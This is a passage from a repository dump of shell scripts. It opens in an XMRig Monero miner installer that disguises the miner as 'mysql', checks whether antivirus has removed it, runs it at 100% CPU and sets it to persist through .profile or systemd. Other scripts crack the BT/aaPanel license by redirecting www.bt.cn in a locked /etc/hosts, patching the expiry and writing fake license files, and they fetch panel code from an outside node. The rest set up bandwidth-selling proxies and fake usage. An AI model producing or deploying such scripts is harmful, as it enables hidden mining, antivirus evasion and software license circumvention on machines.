181 | LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'`
182 | LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" | cut -d \" -f2`
183 |
184 | echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz"
185 | if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then
186 | echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
187 | exit 1
188 | fi
189 |
190 | echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/mysql"
191 | if ! tar xf /tmp/xmrig.tar.gz -C $HOME/mysql --strip=1; then
192 | echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/mysql directory"
193 | fi
194 | rm /tmp/xmrig.tar.gz
195 | mv $HOME/mysql/xmrig $HOME/mysql/mysql
196 |
197 | echo "[*] Checking if stock version of $HOME/mysql/mysql works fine (and not removed by antivirus software)"
198 | sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' $HOME/mysql/config.json
199 | $HOME/mysql/mysql --help >/dev/null
200 | if (test $? -ne 0); then
201 | if [ -f $HOME/mysql/mysql ]; then
202 | echo "ERROR: Stock version of $HOME/mysql/mysql is not functional too"
203 | else
204 | echo "ERROR: Stock version of $HOME/mysql/mysql was removed by antivirus too"
205 | fi
206 | exit 1
207 | fi
208 | fi
209 |
210 | echo "[*] Mysql $HOME/mysql/mysql is OK"
211 |
212 | #PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
213 | if [ "$PASS" == "localhost" ]; then
214 | PASS=`ip route get 1 | awk '{print $NF;exit}'`
215 | fi
216 | if [ -z $PASS ]; then
217 | PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
218 | fi
219 |
220 | sed -i 's/"url": *"[^"]*",/"url": "gulf.moneroocean.stream:'$PORT'",/' $HOME/mysql/config.json
221 | sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/mysql/config.json
222 | sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/mysql/config.json
223 | sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/mysql/config.json
224 | sed -i 's#"log-file": *null,#"log-file": "'$HOME/mysql/mysql.log'",#' $HOME/mysql/config.json
225 | sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/mysql/config.json
226 |
227 | cp $HOME/mysql/config.json $HOME/mysql/config_background.json
228 | sed -i 's/"background": *false,/"background": true,/' $HOME/mysql/config_background.json
229 |
230 | # preparing script
231 |
232 | echo "[*] Creating $HOME/mysql/miner.sh script"
233 | cat >$HOME/mysql/mysql.sh </dev/null; then
236 | nice $HOME/mysql/mysql \$*
237 | else
238 | echo "Mysql Server is already running in the background. Refusing to run another one."
239 | echo "Run \"killall mysql\" or \"sudo killall mysql\" if you want to remove background mysql first."
240 | fi
241 | EOL
242 |
243 | chmod +x $HOME/mysql/mysql.sh
244 |
245 | # preparing script background work and work under reboot
246 |
247 | if ! sudo -n true 2>/dev/null; then
248 | if ! grep mysql/mysql.sh $HOME/.profile >/dev/null; then
249 | echo "[*] Adding $HOME/mysql/mysql.sh script to $HOME/.profile"
250 | echo "$HOME/mysql/mysql.sh --config=$HOME/mysql/config_background.json >/dev/null 2>&1" >>$HOME/.profile
251 | else
252 | echo "Looks like $HOME/mysql/mysql.sh script is already in the $HOME/.profile"
253 | fi
254 | echo "[*] Running mysql in the background (see logs in $HOME/mysql/mysql.log file)"
255 | /bin/bash $HOME/mysql/mysql.sh --config=$HOME/mysql/config_background.json >/dev/null 2>&1
256 | else
257 |
258 | if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
259 | echo "[*] Enabling huge pages"
260 | echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
261 | sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
262 | fi
263 |
264 | if ! type systemctl >/dev/null; then
265 |
266 | echo "[*] Running mysql in the background (see logs in $HOME/mysql/mysql.log file)"
267 | /bin/bash $HOME/mysql/miner.sh --config=$HOME/mysql/config_background.json >/dev/null 2>&1
268 | echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
269 | echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."
270 |
271 | else
272 |
273 | echo "[*] Creating mysql systemd service"
274 | cat >/tmp/mysql.service </dev/null
290 | sudo systemctl daemon-reload
291 | sudo systemctl enable mysql.service
292 | sudo systemctl start mysql.service
293 | echo "To see mysql service logs run \"sudo journalctl -u mysql -f\" command"
294 | fi
295 | fi
296 |
297 | echo ""
298 | echo "NOTE: If you are using shared VPS it is recommended to avoid 100% CPU usage produced by the miner or you will be banned"
299 | if [ "$CPU_THREADS" -lt "4" ]; then
300 | echo "HINT: Please execute these or similair commands under root to limit miner to 75% percent CPU usage:"
301 | echo "sudo apt-get update; sudo apt-get install -y cpulimit"
302 | echo "sudo cpulimit -e mysql -l $((75*$CPU_THREADS)) -b"
303 | if [ "`tail -n1 /etc/rc.local`" != "exit 0" ]; then
304 | echo "sudo sed -i -e '\$acpulimit -e mysql -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local"
305 | else
306 | echo "sudo sed -i -e '\$i \\cpulimit -e mysql -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local"
307 | fi
308 | else
309 | echo "HINT: Please execute these commands and reboot your VPS after that to limit mysql to 75% percent CPU usage:"
310 | echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \$HOME/mysql/config.json"
311 | echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \$HOME/mysql/config_background.json"
312 | fi
313 | echo ""
314 |
315 | echo "[*] Setup complete"
316 |
317 |
318 |
319 |
320 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/newdtrfgyuhjihgujsrtjk.sh:
--------------------------------------------------------------------------------
1 |
2 | Happy_Bt(){
3 | rm -rf /etc/hosts
4 | cp /etc/hosts.bak /etc/hosts
5 | #chattr -i /etc/hosts
6 | echo "129.213.56.34 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts
7 | #echo "2600:1f13:98e:6000:fd96:427e:5ac6:bcd3 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts
8 | #2406:da14:812:e400:5fa0:54d0:190:f6d0
9 | sed -i "s/time.localtime(ltd)/time.localtime(7955085722)/" /www/server/panel/BTPanel/__init__.py
10 | curl -s -o /dev/null www.bt.cn
11 | wget -qO /www/server/panel/data/plugin.json http://www.bt.cn/api/panel/get_soft_list_test
12 | echo "True" > /www/server/panel/data/licenes.pl
13 | echo "True" > /www/server/panel/data/not_recommend.pl
14 | echo "True" > /www/server/panel/data/not_workorder.pl
15 | rm -rf /www/server/panel/data/bind.pl
16 | }
17 |
18 | Is_Set_(){
19 | read -p "设置面板后台入口(留空或者n随机 默认随机)" admin_path
20 | read -p "设置后台账户(留空或者n随机 默认随机) >3位" admin_
21 | read -p "设置后台密码(留空或者n随机 默认随机)>5位" admin_pwd
22 | }
23 |
24 | Change_Path(){
25 | echo "/$1" > /www/server/panel/data/admin_path.pl
26 | }
27 |
28 | Change_Admin(){
29 | bt << EOF
30 | 6
31 | $1
32 | EOF
33 | }
34 |
35 | Change_Passwd(){
36 | bt << EOF
37 | 5
38 | $1
39 | EOF
40 | }
41 | ip=`curl -s http://whatismyip.akamai.com/`
42 | apt-get install liblua5.1-0 curl -y
43 | cp /etc/hosts /etc/hosts.bak
44 | #wget http://5.255.98.31:5050/bt/install.sh && bash install.sh
45 | curl -sSO http://download.bt.cn/install/install_panel.sh && bash install_panel.sh
46 | wget https://github.com/caippx/bash/raw/master/drfytgybhunjoimkol/LinuxPanel-7.7.0.zip
47 | unzip LinuxPanel-*
48 | cd panel
49 | bash update.sh
50 | cd .. && rm -f LinuxPanel-*.zip && rm -rf panel
51 | Happy_Bt
52 | #echo "开始安装IP SSL插件"
53 | #mkdir -p /www/server/panel/plugin/encryption365
54 | #wget --no-check-certificate -qO /www/server/panel/plugin/encryption365/encryption365.zip https://od.xsjdd.com/%E8%BD%AF%E4%BB%B6/Linux/bt/Encryption365_BtPanel_v1.3.1.zip && cd /www/server/panel/plugin/encryption365 && unzip encryption365.zip >/dev/null 2>&1
55 | #rm -rf /www/server/panel/plugin/encryption365/encryption365.zip
56 | echo "done"
57 | service cron reload >/dev/null 2>&1
58 | #service crond reload >/dev/null 2>&1
59 | [[ -n $1 ]] && echo "外网面板地址: http://$ip:8888/$1" && Change_Path $1 >/dev/null 2>&1
60 | [[ -n $2 ]] && echo "新用户名: $2" && Change_Admin $2 >/dev/null 2>&1
61 | [[ -n $3 ]] && echo "新密码: $3" && Change_Passwd $3 >/dev/null 2>&1
62 | #echo "打开SSL插件之后手动执行以下命令"
63 | #echo "bash /www/server/panel/plugin/encryption365/install.sh install"
64 | bt restart
65 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
66 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 443 -j ACCEPT
67 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT
68 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 3306 -j ACCEPT
69 | chattr +i /www/server/panel/logs/request
70 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/newdtrfgyuhjihgujsrtjksssss.sh:
--------------------------------------------------------------------------------
1 |
2 | Happy_Bt(){
3 | mv /etc/hosts /etc/hosts.bak
4 | echo "44.234.251.213 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts
5 | #echo "2600:1f13:98e:6000:fd96:427e:5ac6:bcd3 www.bt.cn" >> /etc/hosts && chattr +i /etc/hosts
6 | #2406:da14:812:e400:5fa0:54d0:190:f6d0
7 | sed -i "s/time.localtime(ltd)/time.localtime(7955085722)/" /www/server/panel/BTPanel/__init__.py
8 | curl -s -o /dev/null www.bt.cn
9 | wget -qO /www/server/panel/data/plugin.json http://www.bt.cn/api/panel/get_soft_list_test
10 | echo "True" > /www/server/panel/data/licenes.pl
11 | echo "True" > /www/server/panel/data/not_recommend.pl
12 | echo "True" > /www/server/panel/data/not_workorder.pl
13 | rm -rf /www/server/panel/data/bind.pl
14 | wget -O /www/server/panel/install/public.sh https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/public.sh
15 | wget -O /www/server/panel/data/node.json https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/node.js
16 | wget -O /www/server/panel/config/node.json https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/node.js
17 | chattr +i /www/server/panel/install/public.sh
18 | chattr +i /www/server/panel/data/node.json
19 | chattr +i /www/server/panel/config/node.json
20 | }
21 |
22 | Is_Set_(){
23 | read -p "设置面板后台入口(留空或者n随机 默认随机)" admin_path
24 | read -p "设置后台账户(留空或者n随机 默认随机) >3位" admin_
25 | read -p "设置后台密码(留空或者n随机 默认随机)>5位" admin_pwd
26 | }
27 |
28 | Change_Path(){
29 | echo "/$1" > /www/server/panel/data/admin_path.pl
30 | }
31 |
32 | Change_Admin(){
33 | bt << EOF
34 | 6
35 | $1
36 | EOF
37 | }
38 |
39 | Change_Passwd(){
40 | bt << EOF
41 | 5
42 | $1
43 | EOF
44 | }
45 | ip=`curl -s http://whatismyip.akamai.com/`
46 | apt-get install liblua5.1-0 curl -y
47 | cp /etc/hosts /etc/hosts.bak
48 | #wget http://5.255.98.31:5050/bt/install.sh && bash install.sh
49 | curl -sSO http://download.bt.cn/install/install_panel.sh && bash install_panel.sh
50 | wget https://github.com/caippx/bash/raw/master/drfytgybhunjoimkol/LinuxPanel-7.7.0.zip
51 | unzip LinuxPanel-*
52 | cd panel
53 | bash update.sh
54 | cd .. && rm -f LinuxPanel-*.zip && rm -rf panel
55 | Happy_Bt
56 | #echo "开始安装IP SSL插件"
57 | #mkdir -p /www/server/panel/plugin/encryption365
58 | #wget --no-check-certificate -qO /www/server/panel/plugin/encryption365/encryption365.zip https://od.xsjdd.com/%E8%BD%AF%E4%BB%B6/Linux/bt/Encryption365_BtPanel_v1.3.1.zip && cd /www/server/panel/plugin/encryption365 && unzip encryption365.zip >/dev/null 2>&1
59 | #rm -rf /www/server/panel/plugin/encryption365/encryption365.zip
60 | echo "done"
61 | service cron reload >/dev/null 2>&1
62 | #service crond reload >/dev/null 2>&1
63 | [[ -n $1 ]] && echo "外网面板地址: http://$ip:8888/$1" && Change_Path $1 >/dev/null 2>&1
64 | [[ -n $2 ]] && echo "新用户名: $2" && Change_Admin $2 >/dev/null 2>&1
65 | [[ -n $3 ]] && echo "新密码: $3" && Change_Passwd $3 >/dev/null 2>&1
66 | #echo "打开SSL插件之后手动执行以下命令"
67 | #echo "bash /www/server/panel/plugin/encryption365/install.sh install"
68 | bt restart
69 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
70 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 443 -j ACCEPT
71 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -j ACCEPT
72 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport 3306 -j ACCEPT
73 | chattr +i /www/server/panel/logs/request
74 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/ngx_http_waf_module.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/drfytgybhunjoimkol/ngx_http_waf_module.so
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/node.js:
--------------------------------------------------------------------------------
1 | [{
2 | "protocol": "http://",
3 | "address": "128.199.88.118",
4 | "port": "80",
5 | "ping": 500
6 | }
7 | ]
8 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/npool/npool_amd64_latest:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/drfytgybhunjoimkol/npool/npool_amd64_latest
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/npool/upgrade_auto.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Check if user is root
4 | if [ $(id -u) != "0" ]; then
5 | echo "Error: You must be root to run this script, please use root to install"
6 | exit 1
7 | fi
8 |
9 | # Check arch
10 | get_arch=`arch`
11 | if [[ $get_arch =~ "x86_64" ]];then
12 | arch_type="amd64"
13 | elif [[ $get_arch =~ "aarch64" ]];then
14 | arch_type="arm64"
15 | else
16 | echo "Error: Only supports amd64 and arm64 architecture machines."
17 | exit 1
18 | fi
19 |
20 | # Download && Replace
21 | file_name="npool_${arch_type}_latest"
22 | if test -f "config.json"
23 | then
24 | echo "Start Download......"
25 | rm -rf npool_amd64_latest*
26 | wget -t 5 --quiet "https://github.com/caippx/bash/raw/master/drfytgybhunjoimkol/npool/npool_amd64_latest" &&
27 | systemctl stop npool.service &&
28 | rm npool &&
29 | mv ${file_name} npool &&
30 | chmod +x npool &&
31 | systemctl start npool.service &&
32 | rm $0 &&
33 | echo "Upgrade completed."
34 | else
35 | echo "Error: Wrong path."
36 | exit 1
37 | fi
38 |
39 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/p2p.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | wget https://updates.peer2profit.com/p2pclient_0.56_amd64.deb
3 | dpkg -i p2pclient_0.56_amd64.deb
4 | nohup p2pclient --login "admin@ppxwo.com" 2>1 &
5 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/p2p_az.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | wget https://updates.peer2profit.com/p2pclient_0.56_amd64.deb
3 | dpkg -i p2pclient_0.56_amd64.deb
4 | nohup p2pclient --login admin@ppxwo.com -n "10.0.0.4;8.8.8.8" 2>1 &
5 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/proxysell.sh:
--------------------------------------------------------------------------------
1 | if command -v curl >/dev/null 2>&1 && command -v wget >/dev/null 2>&1; then
2 | echo "curl 和 wget 均已安装"
3 | else
4 | apt update -y && apt install curl wget -y
5 | fi
6 |
7 | if curl --connect-timeout 5 -s https://github.com > /dev/null 2>&1; then
8 | echo "能够访问 github.com"
9 | # 如果访问正常,这里使用原始地址
10 | GITHUB_URL="https://github.com"
11 | else
12 | echo "无法访问 github.com,使用代理"
13 | # 如果访问失败,则替换为代理地址
14 | GITHUB_URL="https://ghproxy.11451185.xyz/github.com"
15 | fi
16 | sudo cp /etc/sysctl.conf /etc/sysctl.conf.bk_$(date +%Y%m%d_%H%M%S) && sudo sh -c 'echo "kernel.pid_max = 65535
17 | kernel.panic = 1
18 | kernel.sysrq = 1
19 | kernel.core_pattern = core_%e
20 | kernel.printk = 3 4 1 3
21 | kernel.numa_balancing = 0
22 | kernel.sched_autogroup_enabled = 0
23 |
24 | vm.swappiness = 10
25 | vm.dirty_ratio = 10
26 | vm.dirty_background_ratio = 5
27 | vm.panic_on_oom = 1
28 | vm.overcommit_memory = 1
29 | vm.min_free_kbytes = 153600
30 |
31 | net.core.default_qdisc = cake
32 | net.core.netdev_max_backlog = 2000
33 | net.core.rmem_max = 78643200
34 | net.core.wmem_max = 39321600
35 | net.core.rmem_default = 87380
36 | net.core.wmem_default = 65536
37 | net.core.somaxconn = 500
38 | net.core.optmem_max = 65536
39 |
40 | net.ipv4.tcp_fastopen = 3
41 | net.ipv4.tcp_timestamps = 1
42 | net.ipv4.tcp_tw_reuse = 1
43 | net.ipv4.tcp_fin_timeout = 10
44 | net.ipv4.tcp_slow_start_after_idle = 0
45 | net.ipv4.tcp_max_tw_buckets = 32768
46 | net.ipv4.tcp_sack = 1
47 | net.ipv4.tcp_fack = 0
48 |
49 | net.ipv4.tcp_rmem = 8192 87380 78643200
50 | net.ipv4.tcp_wmem = 8192 65536 39321600
51 | net.ipv4.tcp_mtu_probing = 1
52 | net.ipv4.tcp_congestion_control = bbr
53 | net.ipv4.tcp_notsent_lowat = 4096
54 | net.ipv4.tcp_window_scaling = 1
55 | net.ipv4.tcp_adv_win_scale = 2
56 | net.ipv4.tcp_moderate_rcvbuf = 1
57 | net.ipv4.tcp_no_metrics_save = 0
58 | net.ipv4.tcp_init_cwnd = undefined
59 |
60 | net.ipv4.tcp_max_syn_backlog = 2048
61 | net.ipv4.tcp_max_orphans = 65536
62 | net.ipv4.tcp_synack_retries = 2
63 | net.ipv4.tcp_syn_retries = 3
64 | net.ipv4.tcp_abort_on_overflow = 0
65 | net.ipv4.tcp_stdurg = 0
66 | net.ipv4.tcp_rfc1337 = 0
67 | net.ipv4.tcp_syncookies = 1
68 |
69 | net.ipv4.ip_local_port_range = 1024 65535
70 | net.ipv4.ip_no_pmtu_disc = 0
71 | net.ipv4.route.gc_timeout = 100
72 | net.ipv4.neigh.default.gc_stale_time = 120
73 | net.ipv4.neigh.default.gc_thresh3 = 8192
74 | net.ipv4.neigh.default.gc_thresh2 = 4096
75 | net.ipv4.neigh.default.gc_thresh1 = 1024
76 |
77 | net.ipv4.icmp_echo_ignore_broadcasts = 1
78 | net.ipv4.icmp_ignore_bogus_error_responses = 1
79 | net.ipv4.conf.all.rp_filter = 1
80 | net.ipv4.conf.default.rp_filter = 1
81 | net.ipv4.conf.all.arp_announce = 2
82 | net.ipv4.conf.default.arp_announce = 2
83 | net.ipv4.conf.all.arp_ignore = 1
84 | net.ipv4.conf.default.arp_ignore = 1" > /etc/sysctl.conf' && sudo sysctl -p
85 | # 我自己只用64位系统 就不判断是不是32了
86 | arch=$(uname -m)
87 | # 判断是否为 ARM 架构
88 | if [[ "$arch" == "arm"* || "$arch" == "aarch64" ]]; then
89 | echo "系统为aarch64"
90 | wget ${GITHUB_URL}/go-gost/gost/releases/download/v3.0.0/gost_3.0.0_linux_arm64.tar.gz && tar -zxvf gost_3.0.0_linux_arm64.tar.gz
91 | rm -rf LICENSE README.md README_en.md gost_3.0.0_linux_arm64.tar.gz
92 | mv gost /usr/bin/gost && chmod +x /usr/bin/gost
93 | else
94 | echo "系统为X86_64"
95 | wget ${GITHUB_URL}/go-gost/gost/releases/download/v3.0.0/gost_3.0.0_linux_amd64.tar.gz && tar -zxvf gost_3.0.0_linux_amd64.tar.gz
96 | rm -rf LICENSE README.md README_en.md gost_3.0.0_linux_amd64.tar.gz
97 | mv gost /usr/bin/gost && chmod +x /usr/bin/gost
98 | fi
99 |
100 | user=$1
101 | password=$2
102 |
103 | echo '[Unit]
104 | Description=PPX Proxy Sell
105 | After=network.target
106 |
107 | [Service]
108 | ExecStart=/usr/bin/gost -L="socks5://'$user':'$password'@:11111?udp=true&keepAlive=true&ttl=10s&readBufferSize=51200" -L="http://'$user':'$password'@:22222?udp=true&keepAlive=true&ttl=10s&readBufferSize=51200"
109 | Restart=always
110 | RestartSec=1
111 | User=root
112 | Group=root
113 | StandardOutput=journal
114 | StandardError=journal
115 |
116 | [Install]
117 | WantedBy=multi-user.target' > /etc/systemd/system/proxysell.service
118 | ip=`curl ip.sb -4`
119 | systemctl daemon-reload
120 | systemctl start proxysell.service
121 | systemctl enable proxysell.service
122 | echo "socks5://$user:$password@$ip:11111"
123 | echo "http://$user:$password@$ip:22222"
124 | #systemctl stop luodi.service
125 | #systemctl restart luodi.service
126 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/public.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
3 | pyenv_bin=/www/server/panel/pyenv/bin
4 | rep_path=${pyenv_bin}:$PATH
5 | if [ -d "$pyenv_bin" ];then
6 | PATH=$rep_path
7 | fi
8 | export PATH
9 | export LANG=en_US.UTF-8
10 | export LANGUAGE=en_US:en
11 |
12 | get_node_url(){
13 | nodes=(http://128.199.88.118);
14 | tmp_file1=/dev/shm/net_test1.pl
15 | tmp_file2=/dev/shm/net_test2.pl
16 | [ -f "${tmp_file1}" ] && rm -f ${tmp_file1}
17 | [ -f "${tmp_file2}" ] && rm -f ${tmp_file2}
18 | touch $tmp_file1
19 | touch $tmp_file2
20 | for node in ${nodes[@]};
21 | do
22 | NODE_CHECK=$(curl --connect-timeout 3 -m 3 2>/dev/null -w "%{http_code} %{time_total}" ${node}/net_test|xargs)
23 | RES=$(echo ${NODE_CHECK}|awk '{print $1}')
24 | NODE_STATUS=$(echo ${NODE_CHECK}|awk '{print $2}')
25 | TIME_TOTAL=$(echo ${NODE_CHECK}|awk '{print $3 * 1000 - 500 }'|cut -d '.' -f 1)
26 | if [ "${NODE_STATUS}" == "200" ];then
27 | if [ $TIME_TOTAL -lt 100 ];then
28 | if [ $RES -ge 1500 ];then
29 | echo "$RES $node" >> $tmp_file1
30 | fi
31 | else
32 | if [ $RES -ge 1500 ];then
33 | echo "$TIME_TOTAL $node" >> $tmp_file2
34 | fi
35 | fi
36 |
37 | i=$(($i+1))
38 | if [ $TIME_TOTAL -lt 100 ];then
39 | if [ $RES -ge 3000 ];then
40 | break;
41 | fi
42 | fi
43 | fi
44 | done
45 |
46 | NODE_URL=$(cat $tmp_file1|sort -r -g -t " " -k 1|head -n 1|awk '{print $2}')
47 | if [ -z "$NODE_URL" ];then
48 | NODE_URL=$(cat $tmp_file2|sort -g -t " " -k 1|head -n 1|awk '{print $2}')
49 | if [ -z "$NODE_URL" ];then
50 | NODE_URL='http://128.199.88.118';
51 | fi
52 | fi
53 | rm -f $tmp_file1
54 | rm -f $tmp_file2
55 | }
56 |
57 | GetCpuStat(){
58 | time1=$(cat /proc/stat |grep 'cpu ')
59 | sleep 1
60 | time2=$(cat /proc/stat |grep 'cpu ')
61 | cpuTime1=$(echo ${time1}|awk '{print $2+$3+$4+$5+$6+$7+$8}')
62 | cpuTime2=$(echo ${time2}|awk '{print $2+$3+$4+$5+$6+$7+$8}')
63 | runTime=$((${cpuTime2}-${cpuTime1}))
64 | idelTime1=$(echo ${time1}|awk '{print $5}')
65 | idelTime2=$(echo ${time2}|awk '{print $5}')
66 | idelTime=$((${idelTime2}-${idelTime1}))
67 | useTime=$(((${runTime}-${idelTime})*3))
68 | [ ${useTime} -gt ${runTime} ] && cpuBusy="true"
69 | if [ "${cpuBusy}" == "true" ]; then
70 | cpuCore=$((${cpuInfo}/2))
71 | else
72 | cpuCore=$((${cpuInfo}-1))
73 | fi
74 | }
75 | GetPackManager(){
76 | if [ -f "/usr/bin/yum" ] && [ -f "/etc/yum.conf" ]; then
77 | PM="yum"
78 | elif [ -f "/usr/bin/apt-get" ] && [ -f "/usr/bin/dpkg" ]; then
79 | PM="apt-get"
80 | fi
81 | }
82 |
83 | bt_check(){
84 | p_path=/www/server/panel/class/panelPlugin.py
85 | if [ -f $p_path ];then
86 | is_ext=$(cat $p_path|grep btwaf)
87 | if [ "$is_ext" != "" ];then
88 | send_check
89 | fi
90 | fi
91 |
92 | p_path=/www/server/panel/BTPanel/templates/default/index.html
93 | if [ -f $p_path ];then
94 | is_ext=$(cat $p_path|grep fbi)
95 | if [ "$is_ext" != "" ];then
96 | send_check
97 | fi
98 | fi
99 | }
100 |
101 | send_check(){
102 | chattr -i /etc/init.d/bt
103 | chmod +x /etc/init.d/bt
104 | p_path2=/www/server/panel/class/common.py
105 | p_version=$(cat $p_path2|grep "version = "|awk '{print $3}'|tr -cd [0-9.])
106 | curl -sS --connect-timeout 3 -m 60 http://www.bt.cn/api/panel/notpro?version=$p_version
107 | NODE_URL=""
108 | exit 0;
109 | }
110 | init_check(){
111 | CRACK_URL=(oss.yuewux.com);
112 | for url in ${CRACK_URL[@]};
113 | do
114 | CRACK_INIT=$(cat /etc/init.d/bt |grep ${url})
115 | if [ "${CRACK_INIT}" ];then
116 | rm -rf /www/server/panel/class/*
117 | chattr +i /www/server/panel/class
118 | chattr -R +i /www/server/panel
119 | chattr +i /www
120 | fi
121 | done
122 | }
123 | GetSysInfo(){
124 | if [ "${PM}" = "yum" ]; then
125 | SYS_VERSION=$(cat /etc/redhat-release)
126 | elif [ "${PM}" = "apt-get" ]; then
127 | SYS_VERSION=$(cat /etc/issue)
128 | fi
129 | SYS_INFO=$(uname -msr)
130 | SYS_BIT=$(getconf LONG_BIT)
131 | MEM_TOTAL=$(free -m|grep Mem|awk '{print $2}')
132 | CPU_INFO=$(getconf _NPROCESSORS_ONLN)
133 | GCC_VER=$(gcc -v 2>&1|grep "gcc version"|awk '{print $3}')
134 | CMAKE_VER=$(cmake --version|grep version|awk '{print $3}')
135 |
136 | echo -e ${SYS_VERSION}
137 | echo -e Bit:${SYS_BIT} Mem:${MEM_TOTAL}M Core:${CPU_INFO} gcc:${GCC_VER} cmake:${CMAKE_VER}
138 | echo -e ${SYS_INFO}
139 | }
140 | cpuInfo=$(getconf _NPROCESSORS_ONLN)
141 | if [ "${cpuInfo}" -ge "4" ];then
142 | GetCpuStat
143 | else
144 | cpuCore="1"
145 | fi
146 | GetPackManager
147 |
148 | if [ -d "/www/server/phpmyadmin/pma" ];then
149 | rm -rf /www/server/phpmyadmin/pma
150 | EN_CHECK=$(cat /www/server/panel/config/config.json |grep English)
151 | if [ "${EN_CHECK}" ];then
152 | curl http://download.bt.cn/install/update6_en.sh|bash
153 | else
154 | curl http://download.bt.cn/install/update6.sh|bash
155 | fi
156 | echo > /www/server/panel/data/restart.pl
157 | fi
158 |
159 | if [ ! $NODE_URL ];then
160 | EN_CHECK=$(cat /www/server/panel/config/config.json |grep English)
161 | if [ -z "${EN_CHECK}" ];then
162 | echo '正在选择下载节点...';
163 | else
164 | echo "selecting download node...";
165 | fi
166 | get_node_url
167 | bt_check
168 | fi
169 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/random_usage.sh:
--------------------------------------------------------------------------------
1 | function download(){
2 | # 随机生成一个 1G 到 5G 之间的字节数
3 | min=1073741824 # 1G in bytes
4 | max=5368709120 # 5G in bytes
5 |
6 | # 生成随机字节数
7 | random_bytes=$((RANDOM * (max-min+1) / 32768 + min))
8 |
9 | # 下载文件
10 | url="https://speed.cloudflare.com/__down?bytes=$random_bytes"
11 | echo "Downloading $random_bytes bytes from $url"
12 | curl -o /dev/null $url
13 | }
14 |
15 | function diskio(){
16 | # 随机生成一个 2G 到 8G 之间的字节数
17 | min=$((2 * 1024 * 1024 * 1024)) # 2G in bytes
18 | max=$((8 * 1024 * 1024 * 1024)) # 8G in bytes
19 |
20 | # 生成随机字节数
21 | random_bytes=$((RANDOM * (max-min+1) / 32768 + min))
22 |
23 | # 定义临时文件
24 | temp_file="random_data.bin"
25 |
26 | # 写入随机数据
27 | echo "Writing $random_bytes bytes to $temp_file"
28 | dd if=/dev/urandom of=$temp_file bs=1M count=$((random_bytes / 1024 / 1024)) status=progress
29 |
30 | # 读取随机数据
31 | echo "Reading from $temp_file"
32 | dd if=$temp_file of=/dev/null bs=1M status=progress
33 |
34 | # 删除临时文件
35 | rm $temp_file
36 | }
37 |
38 | tasks=(
39 | download # 网络请求
40 | diskio # 硬盘读写
41 | )
42 |
43 | random_index=$((RANDOM % ${#tasks[@]}))
44 | selected_task=${tasks[$random_index]}
45 |
46 | # 执行选定的任务
47 | echo "Running task: $selected_task"
48 | eval $selected_task
49 |
50 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/schedule_random.sh:
--------------------------------------------------------------------------------
1 | # 生成随机小时和分钟
2 | hour=$((RANDOM % 24))
3 | minute=$((RANDOM % 60))
